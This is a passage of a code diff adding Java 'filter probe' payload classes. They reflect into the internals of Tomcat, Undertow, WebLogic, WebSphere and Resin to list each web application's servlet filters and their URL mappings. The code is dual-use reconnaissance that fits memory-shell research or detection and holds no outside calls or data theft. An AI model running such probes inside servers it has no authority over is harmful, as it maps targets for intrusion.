finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* com.caucho.server.webapp.Application
* /usr/local/resin3/lib/resin.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
Class<?> servletInvocationClass = null;
try {
servletInvocationClass = thread.getContextClassLoader()
.loadClass("com.caucho.server.dispatch.ServletInvocation");
} catch (Exception e) {
continue;
}
if (servletInvocationClass != null) {
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
contexts.add(webApp);
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,250 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class TomcatFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> org.apache.catalina.core.StandardContext
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps");
if (filterMaps == null || filterMaps.length == 0) return Collections.emptyList();
for (Object fm : filterMaps) {
// fm -> org.apache.tomcat.util.descriptor.web.FilterMap/org.apache.catalina.deploy.FilterMap
String name = (String) invokeMethod(fm, "getFilterName");
if (!aggregatedData.containsKey(name)) {
// filterDef -> org.apache.tomcat.util.descriptor.web.FilterDef/org.apache.catalina.deploy.FilterDef
Object filterDef = invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{name});
String filterClass = (String) invokeMethod(filterDef, "getFilterClass");
if (filterClass == null) {
// filterConfig -> org.apache.catalina.core.ApplicationFilterConfig
Object filterConfig = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
Object filter = invokeMethod(filterConfig, "getFilter");
if (filter != null) filterClass = filter.getClass().getName();
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", name);
info.put("filterClass", filterClass);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(name, info);
}
Map<String, Object> info = aggregatedData.get(name);
String[] urls = null;
try {
urls = (String[]) invokeMethod(fm, "getURLPatterns");
} catch (Exception e) {
// Tomcat 5 org.apache.catalina.deploy.FilterMap
String urlPattern = (String) invokeMethod(fm, "getURLPattern");
if (urlPattern != null) {
urls = new String[]{urlPattern};
}
}
if (urls != null) ((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urls));
String[] servletNames = null;
try {
servletNames = (String[]) invokeMethod(fm, "getServletNames");
} catch (Exception e) {
// Tomcat 5 org.apache.catalina.deploy.FilterMap
String servletName = (String) invokeMethod(fm, "getServletName");
if (servletName != null) {
servletNames = new String[]{servletName};
}
}
if (servletNames != null) ((Set<String>) info.get("servletNames")).addAll(Arrays.asList(servletNames));
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext"), "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,212 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class UndertowFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> io.undertow.servlet.spec.ServletContextImpl
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// deploymentInfo -> io.undertow.servlet.api.DeploymentInfo
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Map<String, Object> filters = (Map<String, Object>) getFieldValue(deploymentInfo, "filters");
List<Object> filterUrlMappings = (List<Object>) getFieldValue(deploymentInfo, "filterUrlMappings");
List<Object> filterServletNameMappings = (List<Object>) getFieldValue(deploymentInfo, "filterServletNameMappings");
for (Object filterUrlMapping : filterUrlMappings) {
// filterUrlMapping -> io.undertow.servlet.api.FilterMappingInfo
Map<String, Object> info = fillFilterInfo(filterUrlMapping, filters, aggregatedData);
String urlPattern = (String) getFieldValue(filterUrlMapping, "mapping");
if (urlPattern != null) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
for (Object filterServletNameMapping : filterServletNameMappings) {
// filterServletNameMapping -> io.undertow.servlet.api.FilterMappingInfo
Map<String, Object> info = fillFilterInfo(filterServletNameMapping, filters, aggregatedData);
String servletNames = (String) getFieldValue(filterServletNameMapping, "mapping");
if (servletNames != null) {
((Set<String>) info.get("servletNames")).add(servletNames);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> fillFilterInfo(Object filterServletNameMapping, Map<String, Object> filters, Map<String, Map<String, Object>> aggregatedData) throws NoSuchFieldException, IllegalAccessException {
String filterName = (String) getFieldValue(filterServletNameMapping, "filterName");
if (!aggregatedData.containsKey(filterName)) {
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
Class<?> filterClass = (Class<?>) getFieldValue(filters.get(filterName), "filterClass");
info.put("filterClass", filterClass.getName());
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Class<?> clazz = thread.getContextClassLoader()
.loadClass("io.undertow.servlet.handlers.ServletRequestContext");
Object requestContext = invokeMethod(clazz, "current", null, null);
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
if (servletContext != null) {
contexts.add(servletContext);
}
} catch (Exception ignored) {
}
}
return contexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.probe.payload.filter;
import javax.management.MBeanServer;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class WebLogicFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> weblogic.servlet.internal.WebAppServletContext
// filterManager -> weblogic.servlet.internal.FilterManager
Object filterManager = getFieldValue(context, "filterManager");
Map<String, Object> filters = (Map<String, Object>) getFieldValue(filterManager, "filters");
List<Object> filterPatternList = (ArrayList<Object>) getFieldValue(filterManager, "filterPatternList");
List<Object> filterServletList = (ArrayList<Object>) getFieldValue(filterManager, "filterServletList");
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
for (Object filterInfo : filterPatternList) {
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
Object urlMap = getFieldValue(filterInfo, "map");
String filterName = (String) getFieldValue(filterInfo, "filterName");
if (filterName == null) {
// WebLogic 10.3.6
Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null);
filterName = ((String) mapValues[0]);
}
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null);
if (urlPatterns != null) {
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns));
}
}
for (Object filterInfo : filterServletList) {
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
String filterName = (String) getFieldValue(filterInfo, "filterName");
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
String servletName = (String) getFieldValue(filterInfo, "servletName");
if (servletName != null) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> fillFilterInfo(Map<String, Map<String, Object>> aggregatedData, String filterName, Map<String, Object> filters) throws Exception {
if (!aggregatedData.containsKey(filterName)) {
// filterWrapper -> weblogic.servlet.internal.FilterWrapper
Object filterWrapper = filters.get(filterName);
String filterClassName = null;
try {
filterClassName = (String) getFieldValue(filterWrapper, "filterClassName");
} catch (NoSuchFieldException e) {
// WebLogic 10.3.6
filterClassName = (String) getFieldValue(filterWrapper, "filterclass");
}
if (filterClassName == null) {
Object filter = getFieldValue(filterWrapper, "filter");
if (filter != null) {
filterClassName = filter.getClass().getName();
}
}
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<String>());
info.put("servletNames", new LinkedHashSet<String>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
@SuppressWarnings("all")
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
StringBuilder output = new StringBuilder();
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
String context = entry.getKey();
List<Map<String, String>> filters = entry.getValue();
output.append("Context: ").append(context).append("\n");
if (filters.isEmpty()) {
output.append("No filters found\n");
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
output.append(filters.get(0).get("error")).append("\n");
} else {
for (Map<String, String> info : filters) {
appendIfPresent(output, "", info.get("filterName"));
appendIfPresent(output, " -> ", info.get("filterClass"));
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
output.append("\n");
}
}
}
return output.toString();
}
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
if (value != null && !value.isEmpty()) {
sb.append(prefix).append(value);
}
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,285 @@
package com.reajason.javaweb.probe.payload.filter;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
/**
* @author ReaJason
*/
public class WebSphereFilterProbe {
@Override
@SuppressWarnings("Duplicates")
public String toString() {
StringBuilder msg = new StringBuilder();
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg.append("context error: ").append(getErrorMessage(throwable));
}
if (contexts == null || contexts.isEmpty()) {
msg.append("context not found\n");
} else {
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
for (Object context : contexts) {
String contextRoot = getContextRoot(context);
try {
List<Map<String, String>> filters = collectFiltersData(context);
allFiltersData.put(contextRoot, filters);
} catch (Throwable e) {
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
}
}
msg.append(formatFiltersData(allFiltersData));
}
return msg.toString();
}
@SuppressWarnings("unchecked")
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
// context -> com.ibm.ws.webcontainer.webapp.WebAppImpl
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
// filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager
Object filterManager = getFieldValue(context, "filterManager");
// webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl
Object webAppConfig = getFieldValue(context, "config");
try {
// WebLogic 12+
List<Object> uriFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "uriFilterMappingInfos");
for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
// uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
Map<String, Object> info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData);
String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
if (urlPattern != null && !urlPattern.isEmpty()) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
List<Object> servletFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "servletFilterMappingInfos");
for (Object servletFilterMappingInfo : servletFilterMappingInfos) {
// servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
Map<String, Object> info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData);
String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName");
if (servletName != null && !servletName.isEmpty()) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
} catch (Throwable throwable) {
// WebLogic 10.3.6
List<Object> uriFilterMappings = (List<Object>) getFieldValue(filterManager, "_uriFilterMappings");
for (Object uriFilterMapping : uriFilterMappings) {
// uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
Map<String, Object> info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig);
String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
if (urlPattern != null && !urlPattern.isEmpty()) {
((Set<String>) info.get("urlPatterns")).add(urlPattern);
}
}
List<Object> servletFilterMappings = (List<Object>) getFieldValue(filterManager, "_servletFilterMappings");
for (Object servletFilterMapping : servletFilterMappings) {
// servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
Map<String, Object> info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig);
String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet");
if (servletName != null && !servletName.isEmpty()) {
((Set<String>) info.get("servletNames")).add(servletName);
}
}
}
List<Map<String, String>> result = new ArrayList<>();
for (Map<String, Object> entry : aggregatedData.values()) {
Map<String, String> finalInfo = new HashMap<>();
finalInfo.put("filterName", (String) entry.get("filterName"));
finalInfo.put("filterClass", (String) entry.get("filterClass"));
Set<?> urls = (Set<?>) entry.get("urlPatterns");
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
Set<?> servletNames = (Set<?>) entry.get("servletNames");
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
result.add(finalInfo);
}
return result;
}
private static Map<String, Object> filterFilterInfo1(Object uriFilterMappingInfo, Map<String, Map<String, Object>> aggregatedData) throws Exception {
Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
if (!aggregatedData.containsKey(filterName)) {
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
Map<String, Object> info = new HashMap<>();
info.put("filterName", filterName);
info.put("filterClass", filterClassName);
info.put("urlPatterns", new LinkedHashSet<>());
info.put("servletNames", new LinkedHashSet<>());
aggregatedData.put(filterName, info);
}
return aggregatedData.get(filterName);
}
private static Map<String, Object> fillFilterInfo2(Object servletFilterMapping, Map<String, Map<String, Object>> aggregatedData, Object webAppConfig) throws Exception {
String filterName = (String) getFieldValue(servletFilterMapping, "_filterName");
if (!aggregatedData.containsKey(filterName)) {
